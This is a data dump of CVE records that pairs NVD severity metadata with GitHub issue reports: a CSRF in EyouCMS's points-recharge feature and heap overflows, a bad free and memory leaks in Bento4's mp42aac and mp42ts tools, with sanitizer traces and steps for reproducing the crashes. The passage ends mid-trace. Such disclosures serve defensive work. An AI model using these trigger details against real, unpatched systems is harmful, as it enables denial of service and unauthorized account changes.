EyouCMS V1.5.9 was discovered to contain multiple Cross-Site Request Forgery (CSRF) vulnerabilities via the Members Center, Editorial Membership, and Points Recharge components.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/weng-xianhu/eyoucms/issues/27#issue-1410014422"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:eyoucms:eyoucms:1.5.9:*:*:*:*:*:*:*",
"matchCriteriaId": "42A15197-E862-429C-8ECB-79D0B850C9C5",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/weng-xianhu/eyoucms/issues/27#issue-1410014422
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"weng-xianhu",
"eyoucms"
] |
A security vulnerability exists in EyouCMS V1.5.9 in the backend, Members Center, Editing Membership, and Points Top-up.
1. Enter the background - > member center - > edit member - > points recharge, as shown in the figure:
2. Grab the recharge request package and construct it, as shown below:
3. Open and enter the background page in the browser to view the user test01 points:
4. Click on the constructed web page:
The figure above shows the page that automatically jumps after successful execution to check whether the points have increased:
|
EyouCMS v1.5.9 has a vulnerability, Cross-site request forgery(CSRF)
|
https://api.github.com/repos/weng-xianhu/eyoucms/issues/27/comments
| 1 |
2022-10-15T02:26:03Z
|
2023-02-28T02:38:51Z
|
https://github.com/weng-xianhu/eyoucms/issues/27
| 1,410,014,422 | 27 |
CVE-2022-43032
|
2022-10-19T14:15:09.853
|
An issue was discovered in Bento4 v1.6.0-639. There is a memory leak in AP4_DescriptorFactory::CreateDescriptorFromStream in Core/Ap4DescriptorFactory.cpp, as demonstrated by mp42aac.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/axiomatic-systems/Bento4/issues/763"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:axiosys:bento4:1.6.0-639:*:*:*:*:*:*:*",
"matchCriteriaId": "A003FBD1-339C-409D-A304-7FEE97E23250",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/axiomatic-systems/Bento4/issues/763
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"axiomatic-systems",
"Bento4"
] |
Hi, developers of Bento4:
In the test of the binary mp42aac instrumented with ASAN. There are some inputs causing memory leaks. Here is the ASAN mode output:
=================================================================
==19530==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 80 byte(s) in 1 object(s) allocated from:
#0 0x7ffff6f03592 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x99592)
#1 0x5ad493 in AP4_DescriptorFactory::CreateDescriptorFromStream(AP4_ByteStream&, AP4_Descriptor*&) /root/Bento4/Source/C++/Core/Ap4DescriptorFactory.cpp:85
Indirect leak of 112 byte(s) in 2 object(s) allocated from:
#0 0x7ffff6f03592 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x99592)
#1 0x5ad7a9 in AP4_DescriptorFactory::CreateDescriptorFromStream(AP4_ByteStream&, AP4_Descriptor*&) /root/Bento4/Source/C++/Core/Ap4DescriptorFactory.cpp:127
Indirect leak of 72 byte(s) in 3 object(s) allocated from:
#0 0x7ffff6f03592 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x99592)
#1 0x604f8b in AP4_List<AP4_Descriptor>::Add(AP4_Descriptor*) /root/Bento4/Source/C++/Core/Ap4List.h:160
#2 0x604f8b in AP4_ObjectDescriptor::AP4_ObjectDescriptor(AP4_ByteStream&, unsigned char, unsigned int, unsigned int) /root/Bento4/Source/C++/Core/Ap4ObjectDescriptor.cpp:103
Indirect leak of 32 byte(s) in 1 object(s) allocated from:
#0 0x7ffff6f03592 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x99592)
#1 0x5ad532 in AP4_DescriptorFactory::CreateDescriptorFromStream(AP4_ByteStream&, AP4_Descriptor*&) /root/Bento4/Source/C++/Core/Ap4DescriptorFactory.cpp:115
Indirect leak of 25 byte(s) in 2 object(s) allocated from:
#0 0x7ffff6f03712 in operator new[](unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x99712)
#1 0x415b81 in AP4_DataBuffer::ReallocateBuffer(unsigned int) /root/Bento4/Source/C++/Core/Ap4DataBuffer.cpp:210
#2 0x415b81 in AP4_DataBuffer::SetDataSize(unsigned int) /root/Bento4/Source/C++/Core/Ap4DataBuffer.cpp:151
SUMMARY: AddressSanitizer: 321 byte(s) leaked in 9 allocation(s).
### Crash Input
https://github.com/17ssDP/fuzzer_crashes/blob/main/Bento4/mp42aac-ml-00
### Verification steps：
git clone https://github.com/axiomatic-systems/Bento4
cd Bento4/
mkdir check_build && cd check_build
cmake ../ -DCMAKE_C_COMPILER=clang -DCMAKE_CXX_COMPILER=clang++ -DCMAKE_C_FLAGS="-fsanitize=address" -DCMAKE_CXX_FLAGS="-fsanitize=address" -DCMAKE_BUILD_TYPE=Release
make -j
./mp42aac mp42aac-ml-00 /dev/null
### Environment
Ubuntu 16.04
Clang 10.0.1
gcc 5.5
|
Memory leaks with ASAN in mp42aac
|
https://api.github.com/repos/axiomatic-systems/Bento4/issues/763/comments
| 0 |
2022-09-19T06:18:05Z
|
2022-09-19T06:18:05Z
|
https://github.com/axiomatic-systems/Bento4/issues/763
| 1,377,456,877 | 763 |
CVE-2022-43033
|
2022-10-19T14:15:09.897
|
An issue was discovered in Bento4 1.6.0-639. There is a bad free in the component AP4_HdlrAtom::~AP4_HdlrAtom() which allows attackers to cause a Denial of Service (DoS) via a crafted input.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/axiomatic-systems/Bento4/issues/765"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:axiosys:bento4:1.6.0-639:*:*:*:*:*:*:*",
"matchCriteriaId": "A003FBD1-339C-409D-A304-7FEE97E23250",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/axiomatic-systems/Bento4/issues/765
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"axiomatic-systems",
"Bento4"
] |
Hi, developers of Bento4:
In the test of the binary mp42aac instrumented with ASAN. There are some inputs causing attempting free on address which was not malloc. Here is the ASAN mode output:
==9252==ERROR: AddressSanitizer: attempting free on address which was not malloc()-ed: 0x60200000ef50 in thread T0
#0 0x7ffff6f03d0a in operator delete[](void*) (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x99d0a)
#1 0x5c124b in AP4_HdlrAtom::~AP4_HdlrAtom() /root/Bento4/Source/C++/Core/Ap4HdlrAtom.h:61
#2 0x5c124b in AP4_HdlrAtom::~AP4_HdlrAtom() /root/Bento4/Source/C++/Core/Ap4HdlrAtom.h:61
#3 0x4e7e4b in AP4_List<AP4_Atom>::DeleteReferences() /root/Bento4/Source/C++/Core/Ap4List.h:476
#4 0x4e7e4b in AP4_AtomParent::~AP4_AtomParent() /root/Bento4/Source/C++/Core/Ap4Atom.cpp:516
#5 0x57a323 in AP4_ContainerAtom::~AP4_ContainerAtom() /root/Bento4/Source/C++/Core/Ap4ContainerAtom.h:48
#6 0x57a323 in AP4_ContainerAtom::~AP4_ContainerAtom() /root/Bento4/Source/C++/Core/Ap4ContainerAtom.h:48
#7 0x4e7e4b in AP4_List<AP4_Atom>::DeleteReferences() /root/Bento4/Source/C++/Core/Ap4List.h:476
#8 0x4e7e4b in AP4_AtomParent::~AP4_AtomParent() /root/Bento4/Source/C++/Core/Ap4Atom.cpp:516
#9 0x417b8d in AP4_File::~AP4_File() /root/Bento4/Source/C++/Core/Ap4File.cpp:84
#10 0x417b8d in AP4_File::~AP4_File() /root/Bento4/Source/C++/Core/Ap4File.cpp:88
#11 0x4043f2 in main /root/Bento4/Source/C++/Apps/Mp42Aac/Mp42Aac.cpp:303
#12 0x7ffff61bb83f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2083f)
#13 0x408508 in _start (/root/Bento4/mp42aac+0x408508)
0x60200000ef50 is located 0 bytes inside of 1-byte region [0x60200000ef50,0x60200000ef51)
allocated by thread T0 here:
#0 0x7ffff6f03712 in operator new[](unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x99712)
#1 0x48ac75 in AP4_String::Assign(char const*, unsigned int) /root/Bento4/Source/C++/Core/Ap4String.cpp:165
#2 0x48ac75 in AP4_String::operator=(char const*) /root/Bento4/Source/C++/Core/Ap4String.cpp:123
SUMMARY: AddressSanitizer: bad-free ??:0 operator delete[](void*)
==9252==ABORTING
### Crash input
https://github.com/17ssDP/fuzzer_crashes/blob/main/Bento4/mp42aac-badfree
### Validation steps
git clone https://github.com/axiomatic-systems/Bento4
cd Bento4/
mkdir check_build && cd check_build
cmake ../ -DCMAKE_C_COMPILER=clang -DCMAKE_CXX_COMPILER=clang++ -DCMAKE_C_FLAGS="-fsanitize=address" -DCMAKE_CXX_FLAGS="-fsanitize=address" -DCMAKE_BUILD_TYPE=Release
make -j
./mp42aac mp42aac-badfree /dev/null
### Environment
Ubuntu 16.04
Clang 10.0.1
gcc 5.5
|
Bad-free with ASAN in mp42aac
|
https://api.github.com/repos/axiomatic-systems/Bento4/issues/765/comments
| 0 |
2022-09-19T06:29:50Z
|
2023-05-29T02:51:08Z
|
https://github.com/axiomatic-systems/Bento4/issues/765
| 1,377,466,423 | 765 |
CVE-2022-43034
|
2022-10-19T14:15:09.943
|
An issue was discovered in Bento4 v1.6.0-639. There is a heap buffer overflow vulnerability in the AP4_BitReader::SkipBits(unsigned int) function in mp42ts.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/axiomatic-systems/Bento4/issues/764"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:axiosys:bento4:1.6.0-639:*:*:*:*:*:*:*",
"matchCriteriaId": "A003FBD1-339C-409D-A304-7FEE97E23250",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/axiomatic-systems/Bento4/issues/764
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"axiomatic-systems",
"Bento4"
] |
Hi, developers of Bento4:
In the test of the binary mp42ts instrumented with ASAN. There are some inputs causing heap-buffer-overflow. Here is the ASAN mode output:
==10897==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60300000ec3c at pc 0x0000004a9771 bp 0x7fffffffb150 sp 0x7fffffffb140
READ of size 4 at 0x60300000ec3c thread T0
#0 0x4a9770 in AP4_BitReader::SkipBits(unsigned int) /root/Bento4/Source/C++/Core/Ap4Utils.cpp:564
#1 0x53f5c5 in AP4_Dac4Atom::AP4_Dac4Atom(unsigned int, unsigned char const*) /root/Bento4/Source/C++/Core/Ap4Dac4Atom.cpp:396
#2 0x543230 in AP4_Dac4Atom::Create(unsigned int, AP4_ByteStream&) /root/Bento4/Source/C++/Core/Ap4Dac4Atom.cpp:58
#3 0x4f7503 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /root/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:776
#4 0x4fc596 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /root/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:234
#5 0x51cd08 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /root/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:194
#6 0x4826d1 in AP4_SampleEntry::Read(AP4_ByteStream&, AP4_AtomFactory&) /root/Bento4/Source/C++/Core/Ap4SampleEntry.cpp:115
#7 0x4826d1 in AP4_AudioSampleEntry::AP4_AudioSampleEntry(unsigned int, unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /root/Bento4/Source/C++/Core/Ap4SampleEntry.cpp:420
#8 0x5d736d in AP4_EncaSampleEntry::AP4_EncaSampleEntry(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /root/Bento4/Source/C++/Core/Ap4Protection.cpp:74
#9 0x4f4a3c in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /root/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:298
#10 0x4fc596 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /root/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:234
#11 0x614618 in AP4_StsdAtom::AP4_StsdAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /root/Bento4/Source/C++/Core/Ap4StsdAtom.cpp:101
#12 0x615fc0 in AP4_StsdAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /root/Bento4/Source/C++/Core/Ap4StsdAtom.cpp:57
#13 0x4f838e in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /root/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:458
#14 0x4fc596 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /root/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:234
#15 0x51ac42 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /root/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:194
#16 0x51ac42 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /root/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:139
#17 0x51b986 in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /root/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:88
#18 0x4f5833 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /root/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:816
#19 0x4fc596 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /root/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:234
#20 0x51ac42 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /root/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:194
#21 0x51ac42 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /root/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:139
#22 0x51b986 in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /root/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:88
#23 0x4f5833 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /root/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:816
#24 0x4fc596 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /root/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:234
#25 0x51ac42 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /root/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:194
#26 0x51ac42 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /root/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:139
#27 0x51b986 in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /root/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:88
#28 0x4f5833 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /root/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:816
#29 0x4fc596 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /root/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:234
#30 0x51ac42 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /root/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:194
#31 0x51ac42 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /root/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:139
#32 0x49cfb2 in AP4_TrakAtom::AP4_TrakAtom(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /root/Bento4/Source/C++/Core/Ap4TrakAtom.cpp:165
#33 0x4f7709 in AP4_TrakAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /root/Bento4/Source/C++/Core/Ap4TrakAtom.h:58
#34 0x4f7709 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /root/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:413
#35 0x4fc596 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /root/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:234
#36 0x51ac42 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /root/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:194
#37 0x51ac42 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /root/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:139
#38 0x430fac in AP4_MoovAtom::AP4_MoovAtom(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /root/Bento4/Source/C++/Core/Ap4MoovAtom.cpp:80
#39 0x4f5430 in AP4_MoovAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /root/Bento4/Source/C++/Core/Ap4MoovAtom.h:56
#40 0x4f5430 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /root/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:393
#41 0x4fb65a in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /root/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:234
#42 0x4fb65a in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, AP4_Atom*&) /root/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:154
#43 0x41c6af in AP4_File::ParseStream(AP4_ByteStream&, AP4_AtomFactory&, bool) /root/Bento4/Source/C++/Core/Ap4File.cpp:104
#44 0x41c6af in AP4_File::AP4_File(AP4_ByteStream&, bool) /root/Bento4/Source/C++/Core/Ap4File.cpp:78
#45 0x404446 in main /root/Bento4/Source/C++/Apps/Mp42Ts/Mp42Ts.cpp:511
#46 0x7ffff61bb83f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2083f)
#47 0x40ae38 in _start (/root/Bento4/mp42ts+0x40ae38)
0x60300000ec3c is located 0 bytes to the right of 28-byte region [0x60300000ec20,0x60300000ec3c)
allocated by thread T0 here:
#0 0x7ffff6f03712 in operator new[](unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x99712)
#1 0x419645 in AP4_DataBuffer::ReallocateBuffer(unsigned int) /root/Bento4/Source/C++/Core/Ap4DataBuffer.cpp:210
#2 0x419645 in AP4_DataBuffer::SetBufferSize(unsigned int) /root/Bento4/Source/C++/Core/Ap4DataBuffer.cpp:136
SUMMARY: AddressSanitizer: heap-buffer-overflow /root/Bento4/Source/C++/Core/Ap4Utils.cpp:564 AP4_BitReader::SkipBits(unsigned int)
Shadow bytes around the buggy address:
0x0c067fff9d30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff9d40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff9d50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff9d60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff9d70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c067fff9d80: fa fa fa fa 00 00 00[04]fa fa 00 00 00 02 fa fa
0x0c067fff9d90: 00 00 00 02 fa fa 00 00 00 fa fa fa 00 00 00 fa
0x0c067fff9da0: fa fa 00 00 00 fa fa fa 00 00 00 fa fa fa 00 00
0x0c067fff9db0: 00 fa fa fa 00 00 00 fa fa fa 00 00 00 fa fa fa
0x0c067fff9dc0: 00 00 00 fa fa fa 00 00 00 fa fa fa 00 00 00 fa
0x0c067fff9dd0: fa fa 00 00 00 fa fa fa 00 00 00 fa fa fa 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==10897==ABORTING
### Crash input
https://github.com/17ssDP/fuzzer_crashes/blob/main/Bento4/mp42ts-hbo-00
### Validation steps
git clone https://github.com/axiomatic-systems/Bento4
cd Bento4/
mkdir check_build && cd check_build
cmake ../ -DCMAKE_C_COMPILER=clang -DCMAKE_CXX_COMPILER=clang++ -DCMAKE_C_FLAGS="-fsanitize=address" -DCMAKE_CXX_FLAGS="-fsanitize=address" -DCMAKE_BUILD_TYPE=Release
make -j
./mp42ts mp42ts-hbo-00 /dev/null
### Environment
Ubuntu 16.04
Clang 10.0.1
gcc 5.5
|
Heap-buffer-overflow with ASAN in mp42ts
|
https://api.github.com/repos/axiomatic-systems/Bento4/issues/764/comments
| 0 |
2022-09-19T06:24:55Z
|
2022-09-19T06:24:55Z
|
https://github.com/axiomatic-systems/Bento4/issues/764
| 1,377,462,592 | 764 |
CVE-2022-43035
|
2022-10-19T14:15:09.990
|
An issue was discovered in Bento4 v1.6.0-639. There is a heap-buffer-overflow in AP4_Dec3Atom::AP4_Dec3Atom at Ap4Dec3Atom.cpp, leading to a Denial of Service (DoS), as demonstrated by mp42aac.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/axiomatic-systems/Bento4/issues/762"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:axiosys:bento4:1.6.0-639:*:*:*:*:*:*:*",
"matchCriteriaId": "A003FBD1-339C-409D-A304-7FEE97E23250",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/axiomatic-systems/Bento4/issues/762
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"axiomatic-systems",
"Bento4"
] |
Hi, developers of Bento4:
Thanks for your fix of issue #751
In the test of the binary mp42aac instrumented with ASAN. There are some inputs causing heap-buffer-overflow. Here is the ASAN mode output:
==27304==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60300000ed28 at pc 0x0000005a64d9 bp 0x7fffffffb290 sp 0x7fffffffb280
READ of size 1 at 0x60300000ed28 thread T0
#0 0x5a64d8 in AP4_Dec3Atom::AP4_Dec3Atom(unsigned int, unsigned char const*) /root/Bento4/Source/C++/Core/Ap4Dec3Atom.cpp:161
#1 0x5a6a62 in AP4_Dec3Atom::Create(unsigned int, AP4_ByteStream&) /root/Bento4/Source/C++/Core/Ap4Dec3Atom.cpp:56
#2 0x508887 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /root/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:769
#3 0x50ecb6 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /root/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:234
#4 0x579928 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /root/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:194
#5 0x480e69 in AP4_SampleEntry::Read(AP4_ByteStream&, AP4_AtomFactory&) /root/Bento4/Source/C++/Core/Ap4SampleEntry.cpp:115
#6 0x480e69 in AP4_AudioSampleEntry::AP4_AudioSampleEntry(unsigned int, unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /root/Bento4/Source/C++/Core/Ap4SampleEntry.cpp:420
#7 0x480e69 in AP4_Eac3SampleEntry::AP4_Eac3SampleEntry(unsigned int, unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /root/Bento4/Source/C++/Core/Ap4SampleEntry.cpp:752
#8 0x508d6b in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /root/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:338
#9 0x50ecb6 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /root/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:234
